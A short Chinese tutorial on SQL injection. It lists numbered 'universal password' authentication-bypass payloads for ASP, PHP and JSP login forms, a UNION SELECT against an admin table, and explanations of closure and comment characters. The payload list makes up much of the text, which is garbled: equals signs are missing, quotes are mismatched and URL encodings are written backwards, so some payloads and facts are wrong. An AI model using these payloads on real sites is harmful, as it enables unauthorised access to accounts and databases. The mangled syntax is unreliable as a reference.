SQL注入原理用户进行用户名和密码验证时网站需要查询数据库。查询数据库就是执行SQL语句。用户登录时后台执行的数据库查询操作SQL语句是Select user_id,user_type,email From users Where user_id用户名 And password密码万能密码通常是一个可以代替正确密码的字符串使得SQL注入语句能够成功执行从而绕过正常的身份验证流程。 OR 11这是一个在SQL注入中使用的典型的万能密码它通过使得条件始终为真即11使得原本的查询语句无需正确的用户名和密码即可成功执行。; INSERT INTO ...在一些情况下攻击者可以通过在原本的SQL语句中添加额外的SQL命令如插入新记录。--这是一个用于注释掉SQL语句的符号后续的所有内容都会被视为注释) OR 11这是另一种在WHERE子句中使用的万能密码它通过构造一个始终为真的条件使得查询可以返回所有的记录。asp aspx万能密码1”or “a””a2 ‘)or(‘a’’a3or 11–4’or 11–5a’or’ 11–6”or 11–7’or’a’’a8”or””a’’a9’or”’10’or’’or’11: 1 or ‘1’’1’112: 1 or ‘1’’1’ or 1113: ‘OR 11%0014: “or 11%0015: ‘xor16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”’ 替换表名admin密码 117:admin’ or ‘a’’a 密码随便PHP万能密码‘or 11/*User: somethingPass: ’ OR ‘1’’1jsp 万能密码1’or’1’’1admin’ OR 11/*sql闭合符判断闭合符的定义和用途在SQL语句中闭合符用于闭合字符串或括号确保SQL语句的语法正确。例如在SQL查询语句中单引号和双引号用于包围字符串值而括号用于包围函数或条件表达式。当进行SQL注入时攻击者会利用这些闭合符来构造恶意的SQL语句从而绕过应用程序的输入验证执行未授权的数据库操作。常见的闭合符类型单引号在SQL语句中单引号用于包围字符串值。例如SELECT * FROM users WHERE username admin。在SQL注入中攻击者可以通过添加额外的单引号来闭合原有的单引号从而构造出恶意的SQL语句。双引号在某些数据库系统中双引号也可以用于包围字符串值。例如SELECT * FROM users WHERE username admin。在SQL注入中攻击者可以通过添加额外的双引号来闭合原有的双引号。括号括号用于包围函数或条件表达式。例如SELECT * FROM users WHERE username admin AND (11)。在SQL注入中攻击者可以通过添加额外的括号来闭合原有的括号。SQL注入中的注释符1.# -- 空格--都是sql里的注释符可以使它们后面的语句不被执行。2.url中 (空格)转换为20%#转换为23%#